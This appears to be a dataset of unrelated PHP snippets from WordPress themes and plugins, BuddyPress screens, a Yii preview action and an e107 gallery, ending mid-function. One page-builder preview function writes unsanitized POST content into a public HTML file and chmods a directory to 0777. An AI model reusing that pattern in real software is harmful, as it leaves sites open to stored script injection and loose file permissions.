"function live_preview_scripts() {\n\t\t\t// Live preview JS\n\t\t\tthemify_enque_script('themify-customize-preview', THEMIFY_CUSTOMIZER_URI . '/js/themify.customize-preview.js', array('jquery', 'customize-preview', 'underscore', 'backbone'), THEMIFY_VERSION, true);\n\t\t\t$controls = array(\n\t\t\t\t'nonce' => wp_create_nonce('ajax-nonce'),\n\t\t\t\t'ajaxurl' => admin_url('admin-ajax.php'),\n\t\t\t\t'isRTL' => is_rtl(),\n\t\t\t\t'breakpoints' => $this->get_breakpoints(),\n\t\t\t\t'cf_api_url' => Themify_Custom_Fonts::$api_url\n\t\t\t);\n\t\t\tforeach ($this->settings as $key => $params) {\n\t\t\t\tif (!isset($params['selector'])) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif ($this->endsWith($key, '_font')) {\n\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_background') || $this->endsWith($key, '_background_color') ) {\n\t\t\t\t\t$controls['backgroundControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_position')) {\n\t\t\t\t\t$controls['positionControls'][$key] = $params['selector'];\n\t\t\t\t} elseif (false !== stripos($key, '-logo_')) {\n\t\t\t\t\tif ( $params['prop'] === 'margin' ) {\n\t\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$controls['logoControls'][$key] = $params['selector'];\n\t\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t\t}\n\t\t\t\t} elseif ($this->endsWith($key, '-tagline')) {\n\t\t\t\t\t$controls['taglineControls'][$key] = $params['selector'];\n\t\t\t\t\t$controls['fontControls'][$key] = $params['selector'];\n\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_border')) {\n\t\t\t\t\t$controls['borderControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_margin')) {\n\t\t\t\t\t$controls['marginControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_padding')) {\n\t\t\t\t\t$controls['paddingControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_width')) {\n\t\t\t\t\t$controls['widthControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_height')) {\n\t\t\t\t\t$controls['heightControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, 'border_color')) {\n\t\t\t\t\t$controls['borderColorControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_color')) {\n\t\t\t\t\t$controls['colorControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, 'customcss')) {\n\t\t\t\t\t$controls['customcssControls'][$key] = $params['selector'];\n\t\t\t\t} elseif ($this->endsWith($key, '_imageselect')) {\n\t\t\t\t\t$controls['imageselectControls'][$key] = $params['selector'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Pass JS variables to live preview scripts\n\t\t\twp_localize_script('themify-customize-preview', 'themifyCustomizer', $controls);\n\t\t}",
"public static function create_preview()\n\t{\n\t\t$current = self::current_layout();\n\t\t\n\t\t//start output buffer\n\t\tob_start();\t\t\n\t\t\n\t\t//output current tmpl\n\t\trequire_once( THEME_LAYOUTS . $current . '/templates/tmpl-layout.php' );\t\n\t\t\n\t\t//get output buffer and store in an array\t\t\n\t\t$output = ob_get_clean();\n\t\t\n\t\treturn $output;\t\n\t}",
"public function display_code() {\n\t\techo '<h1>Premise Demo Page</h1>\n\t\t<div class=\"span10\">';\n\n\n\t\t\t// test a form with all possible fields.\n\t\t\t// pass your own arguments if you'd like.\n\t\t\t// new PWP_Demo_Form();\n\n\t\t\t// Premise_test::fields();\n\t\t\t// Premise_test::fields_hooks();\n\t\t\t// Premise_test::fields_demo();\n\t\t\t// Premise_test::videos_embed();\n\t\t\t// Premise_test::fields_duplicate();\n\t\t\t// Premise_test::google_map();\n\t\t\t// Premise_test::grids();\n\n\t\techo '</div>';\n\t}",
"public function subscription_details() {\n //add title and content here - last is to call the members plugin.php template\n add_action( 'bp_template_content', array( $this, 'subscription_details_screen_content' ) );\n bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t}",
"public function actionPreview() {\n $output = '';\n $module = Yii::$app->controller->module;\n if (isset($_POST['source'])) {\n $output = (strlen($_POST['source']) > 0) ? HtmlPurifier::process(Markdown::convert($_POST['source'], ['custom' => $module->customConversion])) : $_POST['nullMsg'];\n }\n echo Json::encode($output);\n }",
"public function customize_preview_init() {\n\n\t\t$theme_version = wp_get_theme()->get( 'Version' );\n\n\t\twp_enqueue_script( 'wilbur-customize-preview', get_theme_file_uri( '/assets/js/customize-preview.js' ), [ 'customize-preview', 'customize-selective-refresh', 'jquery' ], $theme_version, true );\n\t\twp_localize_script( 'wilbur-customize-preview', 'twentyTwentyBgColors', $this->get_customizer_color_vars() );\n\t\twp_localize_script( 'wilbur-customize-preview', 'twentyTwentyPreviewEls', $this->get_elements_array() );\n\n\t\twp_add_inline_script(\n\t\t\t'wilbur-customize-preview',\n\t\t\tsprintf(\n\t\t\t\t'wp.customize.selectiveRefresh.partialConstructor[ %1$s ].prototype.attrs = %2$s;',\n\t\t\t\twp_json_encode( 'cover_opacity' ),\n\t\t\t\twp_json_encode( wilbur_customize_opacity_range() )\n\t\t\t)\n\t\t);\n\t}",
"function show_custom_fields_page()\r\n{\r\n\t$page = new CustomFieldsPage();\r\n\t$page->html();\r\n}",
"function pagecreate()\r\n {\r\n $result = parent::pagecreate();\r\n $result .= $this->_paintJS();\r\n return $result;\r\n }",
"public function preview() {\r\n\t\tglobal $post, $listing_preview;\r\n\t\t\r\n\t\tif ( $this->listing_id ) {\r\n\t\t\t$listing_preview = true;\r\n\t\t\t$post = get_post( $this->listing_id );\r\n\t\t\t$post->post_status = 'preview';\r\n\r\n\t\t\tsetup_postdata( $post );\r\n\t\t\t\r\n\t\t\t$template_loader = new Listeo_Core_Template_Loader;\r\n\t\t\t$template_loader->set_template_data( \r\n\t\t\tarray( \r\n\t\t\t\t'action' \t\t=> $this->get_action(),\r\n\t\t\t\t'fields' \t\t=> $this->fields,\r\n\t\t\t\t'form' \t=> $this->form_name,\r\n\t\t\t\t'post' \t=> $post,\r\n\t\t\t\t'listing_id' => $this->get_listing_id(),\r\n\t\t\t\t'step' \t=> $this->get_step(),\r\n\t\t\t\t'submit_button_text' => apply_filters( 'submit_listing_form_preview_button_text', __( 'Submit', 'listeo_core' ) )\r\n\t\t\t\t) \r\n\t\t\t)->get_template_part( 'listing-preview' );\r\n\r\n\t\t\twp_reset_postdata();\r\n\t\t}\r\n\t}",
"public function preview()\n {\n\n //do we have anythin to preview at all?\n if (!isset($_POST['page']) || $_POST['page'] == '') {\n die(\"No page found\");\n }\n\n if (!is_writable('./temp/')) {\n chmod('./temp/', 0777);\n }\n\n $filename = \"temp/preview_\" . $this->generateRandomString(20) . \".html\";\n $previewFile = fopen($filename, \"w\");\n\n if (isset($_POST['siteID']) && !empty($_POST['siteID'])) {\n $siteDetails = $this->sitemodel->getSite($_POST['siteID']);\n\n if ($siteDetails == false) {\n die(\"No details found\");\n }\n\n $pageMeta = $this->pagemodel->getSinglePage($_POST['siteID'], 'index');\n\n if (!empty($pageMeta->pages_title)) {\n //insert title, meta keywords and meta description\n $title = '<title>' . $siteDetails['site']->sites_name . '</title>';\n $meta_description = '<meta name=\"description\" content=\"' . $pageMeta->pages_meta_description . '\">';\n $meta_keyword = '<meta name=\"keywords\" content=\"' . $pageMeta->pages_meta_keywords . '\">';\n $header_includes = $pageMeta->pages_header_includes;\n\n $pageContent = str_replace('<!--pageTitle-->', $title, $_POST['page']);\n $pageContent = str_replace('<!--META-DESCRIPTION-->', $meta_description, $pageContent);\n $pageContent = str_replace('<!--META-KEYWORDS-->', $meta_keyword, $pageContent);\n\n //insert header includes;\n $pageContent = str_replace(\"<!--headerIncludes-->\", $header_includes, $pageContent);\n } else {\n //insert title\n $title = '<title>' . $siteDetails['site']->sites_name . '</title>';\n\n $pageContent = str_replace('<!--pageTitle-->', $title, $_POST['page']);\n }\n } else {\n $title = '<title>Template Preview</title>';\n\n $pageContent = str_replace('<!--pageTitle-->', $title, $_POST['page']);\n }\n\n if (stristr($pageContent, 'href=\"css')) {\n $pageContent = str_replace('href=\"css', 'href=\"' . base_url('elements') . '/css', $pageContent);\n }\n if (stristr($pageContent, 'href=\"scripts')) {\n $pageContent = str_replace('href=\"scripts', 'href=\"' . base_url('elements') . '/scripts', $pageContent);\n }\n if (stristr($pageContent, 'href=\"images')) {\n $pageContent = str_replace('href=\"images', 'href=\"' . base_url('elements') . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"scripts')) {\n $pageContent = str_replace('src=\"scripts', 'src=\"' . base_url('elements') . '/scripts', $pageContent);\n }\n if (stristr($pageContent, 'url(images')) {\n $pageContent = str_replace('url(images', 'url(' . base_url('elements') . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"./images')) {\n $pageContent = str_replace('src=\"./images', 'src=\"' . base_url('elements') . '/images', $pageContent);\n }\n if (stristr($pageContent, 'src=\"images')) {\n $pageContent = str_replace('src=\"images', 'src=\"' . base_url('elements') . '/images', $pageContent);\n }\n if (stristr($pageContent, 'href=\"./images')) {\n $pageContent = str_replace('href=\"./images', 'href=\"' . base_url('elements') . '/images', $pageContent);\n }\n\n fwrite($previewFile, stripcslashes($pageContent));\n\n fclose($previewFile);\n header('Location: ' . base_url($filename));\n }",
"function foxhound_preview() {\n\tif ( isset( $_GET['preview'] ) ) {\n\t\twp_die( __( 'Foxhound requires WordPress 4.9 or higher. Please update your site and try again.', 'foxhound' ) );\n\t}\n}",
"public function custom()\n {\n return view('backend.slider.create',['page_type' => Consts::PAGE_TYPE_POST]);\n // return view('backend.newses.create');\n }",
"protected function setupPage() {}",
"function owa_insertPageTags() {\r\n\t\r\n\t// Don't log if the page request is a preview - Wordpress 2.x or greater\r\n\tif (function_exists('is_preview')) {\r\n\t\tif (is_preview()) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\t\r\n\t$owa = owa_getInstance();\r\n\t\r\n\t$page_properties = $owa->getAllEventProperties($owa->pageview_event);\r\n\t$cmds = '';\r\n\tif ( $page_properties ) {\r\n\t\t$page_properties_json = json_encode( $page_properties );\r\n\t\t$cmds .= \"owa_cmds.push( ['setPageProperties', $page_properties_json] );\";\r\n\t}\r\n\t\r\n\t//$wgOut->addInlineScript( $cmds );\r\n\t\r\n\t$options = array( 'cmds' => $cmds );\r\n\t\r\n\t\r\n\t$owa->placeHelperPageTags(true, $options);\t\r\n}",
"abstract protected function showContent(): self;",
"function getContent() {\r\r\n\t$PView = new PView;\r\r\n\t$Template = new Template;\r\r\n\t$pv_Appl = $PView -> getAppl();\r\r\n\tglobal $applImages;\r\r\n\t$applImages = $PView->getApplImages(); // trigger only, no return!\r\r\n\r\r\n\t// Javascript source for DHTML\r\r\n\t// Standard\r\r\n\t$JS = \"<script src = 'pview.js' type='text/javascript'></script>\";\r\r\n\r\r\n\t// Template\r\r\n\tif (file_exists(e_PLUGIN . \"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/template.js\")){\r\r\n\t\t$template_JS = \"<script src = '\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/template.js' type='text/javascript'></script>\";\r\r\n\t}\r\r\n\r\r\n\t// Enhanced Gallery Start Page ---------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"gallery\" && $pv_Appl[1] == \"0\" && $PView->getPView_config(\"start_page\")==\"advanced\" && $_GET['gallery'] <>\"classic\") {\r\r\n\t\t// prepare list order\r\r\n\t\t$listArray = $PView->getFrontpageArray();\r\r\n\t\t$PView->getStatistic_Totals(); // trigger only, no return!\r\r\n\t\t\r\r\n\t\t$AG = \"<table style='width:98%;'>\";\r\r\n\t\tforeach ($listArray as $key => $dataset) {\r\r\n\t\t\t$elementArray = explode(\"|\",$dataset);\r\r\n\t\t\tif ($elementArray[1]){\r\r\n\t\t\t\t$AG.= \"<tr><td class='fborder' style='padding:2px;'>\".$Template->getModuleContent($key).\"</td></tr>\";\r\r\n\t\t\t}\r\r\n\t\t}\r\r\n\t\t$AG.= \"</table>\";\r\r\n\r\r\n\t\treturn $AG;\r\r\n\t}\r\r\n\r\r\n\t// Main Gallery Layout (Classic) -------------------------------------------------------------------\r\r\n\t// also used in advanced mode with: pviewgallery.php?gallery=classic for gallery handling!\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif (($pv_Appl[0] == \"gallery\" && $pv_Appl[1] == \"0\" && $PView->getPView_config(\"start_page\")==\"classic\") OR ($pv_Appl[0] == \"gallery\" && $_GET['gallery'] == \"classic\")) {\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"gallery\",0,\"View\")) {\r\r\n\t\t\t$MG = \"<table cellspacing='0px' style='width:98%;' class='fborder'>\";\r\r\n\t\t\t$MG.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/gallery.png' border='0px'> {pv_MainGalleryName} (\".LAN_GALLERY_3.\": {pv_RootalbumCount})</td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_MainGalleryMenu}</td></tr>\";\r\r\n\t\t\t$MG.= \"{pv_RootAlbums}\";\r\r\n\t\t\t$MG.= \"</table><br/>\";\r\r\n\t\t}\r\r\n\t\t// List of Category and User View\r\r\n\t\t$LV = \"<table cellspacing='0px' style='width:98%;' class='fborder'>\";\r\r\n\t\t$LV.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/image_multi.png' border='0px'> \".LAN_GALLERY_14.\"</td></tr>\";\r\r\n\t\t$LV.= \"<tr><td style='padding-top:5px;'>\";\r\r\n\t\t$LV.= \"<table style='width:100%'>\";\r\r\n\t\t$LV.= \"<tr><td class='forumheader'><a href='pviewgallery.php?cat=list'>\".LAN_GALLERY_15.\":</a> \".LAN_GALLERY_17.\"</td></tr>\";\r\r\n\t\t$LV.= \"<tr><td class='forumheader'><a href='pviewgallery.php?user=list'>\".LAN_GALLERY_16.\":</a> \".LAN_GALLERY_18.\"</td></tr>\";\t\r\r\n\t\t$LV.= \"</table>\";\r\r\n\t\t$LV.= \"</td></tr>\";\r\r\n\t\t$LV.= \"</table><br/>\";\r\r\n\t\t\r\r\n\t\t// List of Usergalleries\r\r\n\t\tif ($PView -> getPView_config(\"member_galleries\") OR (ADMIN && $PView -> getPView_config(\"admin_Mode\"))) {\r\r\n\t\t\t$UG = \"<table cellspacing='0px' style='width:98%;' class='fborder'>\";\r\r\n\t\t\t$UG.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/gallery.png' border='0px'> {pv_MemberGalleryName} ({pv_UserGalleryCount})</td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_UserGalleryMenu}</td></tr>\";\r\r\n\t\t\t$UG.= \"{pv_UserGalleries}\";\r\r\n\t\t\t$UG.= \"</table>\";\r\r\n\t\t}\t\r\r\n\t\treturn $MG.$LV.$UG;\r\r\n\t}\r\r\n\t// User Gallery Layout -------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"gallery\" && $pv_Appl[1] <> \"0\") {\r\r\n\t\t// redirect to gallery startpage if gallery not exist\r\r\n\t\tif (!$PView -> getGalleryName($pv_Appl[1])) { \r\r\n\t\t\theader(\"location:\" . e_PLUGIN . \"pviewgallery/pviewgallery.php\");\r\r\n\t\t}\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"gallery\",$pv_Appl[1],\"View\")) {\r\r\n\t\t\t$UG = \"<table cellspacing='0px' style='width:98%;' class='fborder'>\";\r\r\n\t\t\t$UG.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/gallery.png' border='0px'> {pv_UserGalleryName} (\".LAN_GALLERY_3.\": {pv_RootalbumCount})</td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_MainGalleryMenu}</td></tr>\";\r\r\n\t\t\t$UG.= \"{pv_RootAlbums}\";\r\r\n\t\t\t$UG.= \"</table><br/>\";\r\r\n\r\r\n\t\t\treturn $UG;\r\r\n\t\t}\r\r\n\t\treturn $PView -> getNoPerm(\"gallery\"); // forbidden action\r\r\n\t}\r\r\n\r\r\n\t// Album Layout -------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"album\") {\r\r\n\t\t// redirect to gallery startpage if album not exist\r\r\n\t\tif (!$PView -> getAlbumData($pv_Appl[1])) { \r\r\n\t\t\theader(\"location:\" . e_PLUGIN . \"pviewgallery/pviewgallery.php\");\r\r\n\t\t}\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"album\",$pv_Appl[1],\"View\")) {\r\r\n\t\t\t$ALBUM = \"<table style='width:100%;' class='fborder'>\";\r\r\n\t\t\t$ALBUM.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/album.png' border='0px'> {pv_AlbumName} <span class='smalltext'>(\".LAN_ALBUM_1.\": {pv_AlbumImageCount} / \".LAN_ALBUM_2.\": {pv_SubAlbumCount})</span></td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_AlbumMenu}</td></tr>\";\r\r\n\t\t\t$ALBUM.= \"{pv_SubAlbums}\";\r\r\n\t\t\t$ALBUM.= \"<tr><td colspan='2' class='forumheader'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/image_multi.png' border='0px'> \".LAN_ALBUM_1.\":</td></tr><tr><td colspan='2'><table style='width:100%'>\";\r\r\n\t\t\t$ALBUM.= \"{pv_AlbumImages}\";\r\r\n\t\t\t$ALBUM.= \"</table></td></tr>\";\r\r\n\t\t\t$ALBUM.= \"<tr style='height:30px;'><td colspan='2' style='text-align:center;'>{pv_Pages}</td></tr>\";\r\r\n\t\t\t$ALBUM.= \"</table>\";\r\r\n\r\r\n\t\t\treturn $ALBUM;\r\r\n\t\t}\r\r\n\t\treturn $PView -> getNoPerm(\"album\"); // forbidden action\r\r\n\t}\r\r\n\r\r\n\t// Image Layout -------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"image\") {\r\r\n\t\t// redirect to gallery startpage if image not exist\r\r\n\t\tif (!$PView -> getImageData($pv_Appl[1])) { \r\r\n\t\t\theader(\"location:\" . e_PLUGIN . \"pviewgallery/pviewgallery.php\");\r\r\n\t\t\texit;\r\r\n\t\t}\r\r\n\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"image\",$pv_Appl[1],\"View\")) {\r\r\n\t\t\tif ($PView -> getPermission(\"config\",\"permComment\",\"\")) {\r\r\n\t\t\t\t// save comment and redirect to image\r\r\n\t\t\t\tif ($_POST['submit'] == LAN_IMAGE_40) {\r\r\n\t\t\t\t\t$PView -> setImageComment($_POST['appl']);\r\r\n\t\t\t\t\theader(\"location:\".$PView -> getLink('cancel'));\r\r\n\t\t\t\t\texit;\r\r\n\t\t\t\t}\r\r\n\t\t\t\t// delete comment after confirmation\r\r\n\t\t\t\tif ($_GET['deletecomment'] && ADMIN) {\r\r\n\t\t\t\t\tif ($_GET['confirm'] == 1) {\r\r\n\t\t\t\t\t\t$PView -> deleteComment($_GET['deletecomment']);\r\r\n\t\t\t\t\t\theader(\"location:\".$PView -> getLink('cancel'));\r\r\n\t\t\t\t\t\texit;\r\r\n\t\t\t\t\t}\r\r\n\t\t\t\t\treturn $PView -> getDelConfirm(LAN_IMAGE_41.\" \".$_GET['deletecomment']);\r\r\n\t\t\t\t}\r\r\n\t\t\t}\r\r\n\t\t\t$IMG.= \"<table cellspacing='0px' style='width:98%;' class='fborder'>\";\r\r\n\t\t\t$IMG.= \"<tr><td class='fcaption' style='border: 0px;'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/image.png' border='0px'> {pv_ImageName}</td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_ImageMenu}</td></tr>\";\r\r\n\t\t\t$IMG.= \"<tr><td colspan='2' class='forumheader' style='border-left: 0px; border-right: 0px;'>{pv_NavMenu}</td></tr>\";\r\r\n\t\t\t$IMG.= \"<tr><td colspan='2' style='text-align:center;'><div style='padding-top:20px; padding-bottom:20px; overflow:hidden;'>{pv_ResizeImage}</div></td></tr>\";\r\r\n\t\t\t$IMG.= \"<tr><td colspan='2'><table cellspacing='0px' style='width:98%;' class='fborder'><tr><td><table width='85%'>{pv_ImageData}</table></td></tr></table><br /></td></tr>\";\r\r\n\t\t\tif ($PView -> getPView_config(\"Comments\")) {\r\r\n\t\t\t\t$IMG.= \"<tr><td class='fcaption' style='border: 0px;'>\".LAN_IMAGE_4.\" <span class='smalltext'>( {pv_CommentCount} )</span></td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_AddComment}</td></tr>\";\r\r\n\t\t\t\t$IMG.= \"<tr><td colspan='2' style='text-align:center;'>{pv_Comments}</td></tr>\";\r\r\n\t\t\t}\r\r\n\t\t\t$IMG.= \"</table>\";\r\r\n\r\r\n\t\t\treturn $JS.$template_JS.$IMG;\r\r\n\t\t}\r\r\n\t\treturn $PView -> getNoPerm(\"image\"); // forbidden action\r\r\n\r\r\n\t}\r\r\n\r\r\n\t// Userimages Layout -------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"user\" && $pv_Appl[1] <> \"list\") {\r\r\n\t\t// redirect to gallery startpage if user not exist\r\r\n\t\t$userData = $PView -> getUserData($pv_Appl[1]);\r\r\n\t\tif ($userData['user_class'] == '255') { \r\r\n\t\t\theader(\"location:\" . e_PLUGIN . \"pviewgallery/pviewgallery.php\");\r\r\n\t\t\texit;\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\t$UIMG.= \"<table style='width:100%;' class='fborder'>\";\r\r\n\t\t$UIMG.= \"<tr><td class='fcaption' style='border: 0px;'>{pv_UserName} <span class='smalltext'>(\".LAN_ALBUM_1.\": {pv_UserImageCount})</span></td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_UserMenu}</td></tr>\";\r\r\n\t\t$UIMG.= \"<tr><td colspan='2' class='forumheader'>\".LAN_ALBUM_1.\":</td></tr><tr><td colspan='2'><table style='width:100%'>\";\r\r\n\t\t$UIMG.= \"{pv_UserImages}\";\r\r\n\t\t$UIMG.= \"</table></td></tr>\";\r\r\n\t\t$UIMG.= \"<tr style='height:30px;'><td colspan='2' style='text-align:center;'>{pv_Pages}</td></tr>\";\r\r\n\t\t$UIMG.= \"</table>\";\r\r\n\t\t\r\r\n\t\treturn $UIMG;\r\r\n\t}\r\r\n\tif ($pv_Appl[0] == \"user\" && $pv_Appl[1] == \"list\") {\r\r\n\t\t// message, if no user uploaded images\r\r\n\t\tif (!strip_tags($tmpList = $Template->getAllUsers())){\r\r\n\t\t\t$LUIMG.= \"<div style='padding:10px;'><p>\".LAN_GALLERY_19.\"</p>\";\r\r\n\t\t\t$LUIMG.= \"<p><a href='pviewgallery.php'>\".LAN_ACTION_8.\"</a></p>\";\r\r\n\t\t\t$LUIMG.= \"</div>\";\r\r\n\t\t}else {\r\r\n\t\t\t$LUIMG.= $tmpList;\r\r\n\t\t}\r\r\n\t\treturn $LUIMG;\r\r\n\t}\r\r\n\r\r\n\t// Category Layout -------------------------------------------------------------------\r\r\n\t// don't forget to include your css styles in theme.css\r\r\n\tif ($pv_Appl[0] == \"cat\" && $pv_Appl[1] <> \"list\") {\r\r\n\t\t// redirect to gallery startpage if category not exist\r\r\n\t\t$catArray = $PView -> getCatArray();\r\r\n\t\tif (!array_key_exists($pv_Appl[1],$catArray)) {\r\r\n\t\t\theader(\"location:\" . e_PLUGIN . \"pviewgallery/pviewgallery.php\");\r\r\n\t\t\texit;\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\t$CATIMG.= \"<table style='width:100%;' class='fborder'>\";\r\r\n\t\t$CATIMG.= \"<tr><td class='fcaption' style='border: 0px;'>{pv_CatName} <span class='smalltext'>(\".LAN_ALBUM_1.\": {pv_CatImageCount})</span></td><td class='fcaption' style='border: 0px; text-align:right; padding-right:5px;'>{pv_CatMenu}</td></tr>\";\r\r\n\t\t$CATIMG.= \"<tr><td colspan='2' class='forumheader'>\".LAN_ALBUM_1.\":</td></tr><tr><td colspan='2'><table style='width:100%'>\";\r\r\n\t\t$CATIMG.= \"{pv_CatImages}\";\r\r\n\t\t$CATIMG.= \"</table></td></tr>\";\r\r\n\t\t$CATIMG.= \"<tr style='height:30px;'><td colspan='2' style='text-align:center;'>{pv_Pages}</td></tr>\";\r\r\n\t\t$CATIMG.= \"</table>\";\r\r\n\t\t\r\r\n\t\treturn $CATIMG;\r\r\n\t}\r\r\n\tif ($pv_Appl[0] == \"cat\" && $pv_Appl[1] == \"list\") {\r\r\n\t\t$catArray = $PView -> getCatArray();\r\r\n\t\t// message, if no categories\r\r\n\t\tif (!count($catArray)){\r\r\n\t\t\t$LCATIMG.= \"<div style='padding:10px;'><p>\".LAN_GALLERY_11.\"</p>\";\r\r\n\t\t\t$LCATIMG.= \"<p><a href='pviewgallery.php'>\".LAN_ACTION_8.\"</a></p>\";\r\r\n\t\t\t$LCATIMG.= \"</div>\";\r\r\n\t\t} else {\r\r\n\t\t\t$LCATIMG.= \"{pv_CatList}\";\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\treturn $LCATIMG;\r\r\n\t}\r\r\n}",
"function my_admin_page_contents() {\n\t\t?>\n\t\t\t<h1>\n\t\t\t\tPage d'aministration du plugin de création de formulaire\n\t\t\t\t\n\t\t\t</h1>\n\t\t<?php\n\t}",
"function print_gallery(){\n $gallery = new GalleryView();\n $gallery->print_gallery();\n }",
"public function onAlternativePage();",
"function bpfit_walk_subtab_show_screen() {\n\t\t\tadd_action( 'bp_template_title', array($this, 'bpfit_walk_subtab_function_to_show_title') );\n\t\t\tadd_action( 'bp_template_content', array($this, 'bpfit_walk_subtab_function_to_show_content') );\n\t\t\tbp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t\t}",
"public function forcePreview() {}",
"public function enableStaticPreview()\n {\n $this->staticPreview = true;\n }",
"public function create_plugin_settings_page()\n {\n require_once 'views/settings.phtml';\n }",
"function lipsum_popup() {\n if( WP_Dummy_Admin::is_in_post_page() ) {\n require_once( WP_DUMMY_DIR . '/includes/views/view-lipsum-generator.php' );\n }\n }",
"public function myvideo_render_main_screen_function() {\n\t\t\\add_action( 'bp_template_content', array( $this, 'bp_myvideo_tab_action' ) );\n\t\t\\bp_core_load_template( \\apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t}",
"function showUploadPage() {\n\t\t$this->setCacheLevelNone();\n\t\t$this->getEngine()->assign('oLicenseSet', $this->getModel()->getLicenseList($this->getController()->getRequest()->getSession()->getUser()->getID()));\n\t\t$this->getEngine()->assign('eventID', $this->getModel()->getEventID());\n\t\t//$this->addCssResource(new mvcViewCss('uploadifycss', mvcViewCss::TYPE_FILE, '/libraries/plupload/js/jquery.ui.plupload/css/jquery.ui.plupload.css'));\n\t\t$this->addCssResource(new mvcViewCss('jscss', mvcViewCss::TYPE_FILE, '/libraries/jquery-ui/themes/smoothness/jquery-ui.css'));\n\t\t$this->addCssResource(new mvcViewCss('styleWizardCss', mvcViewCss::TYPE_FILE, '/libraries/jquery-plugins/smartWizard2/styles/smart_wizard.css'));\n\t\t\n\t\t$this->addCssResource(new mvcViewCss('uploadifycss', mvcViewCss::TYPE_FILE, '/libraries/uploadify-v3.1/uploadify.css'));\n\t\t$this->addJavascriptResource(new mvcViewJavascript('uploadify', mvcViewJavascript::TYPE_FILE, '/libraries/uploadify-v3.1/jquery.uploadify-3.1.min.js'));\n\n\t\t$this->addJavascriptResource(new mvcViewJavascript('uploadifv3', mvcViewJavascript::TYPE_INLINE, \"$('#FileUpload').uploadify({\n\t\theight : 30,\n\t\tfileObjName : 'Files',\t\n\t\tswf : '/libraries/uploadify-v3.1/uploadify.swf',\n\t\tuploader : '{$this->buildUriPath(uploadController::ACTION_DO_UPLOAD)}',\n\t\twidth : 120,\n\t\t'fileSizeLimit' : '500MB',\t\n\t\tfileTypeExts : '*.mp4;*.mov;*.avi;*.mpg;*.wmv;*.m4v',\n\t\t'onUploadSuccess' : function(file, data, response) {\n\t\t\t\t$('#fileNameStored').val(data);\n\t\t\t\t$('#uploadStatus').val(\\\"\\\");\n\t\t\t\t$('#msg_filename').text(\\\"Upload done : \\\"+file.name);\n },\n\t\t'onUploadError': function (file, errorCode, errorMsg, errorString) {\n\t\t\t$('#msg_filename').text(\\\"\\\");\n\t\t\talert('The file ' + file.name + ' could not be uploaded: ' + errorString);\n\t\t},\n\t\t'onSelect' : function(file) 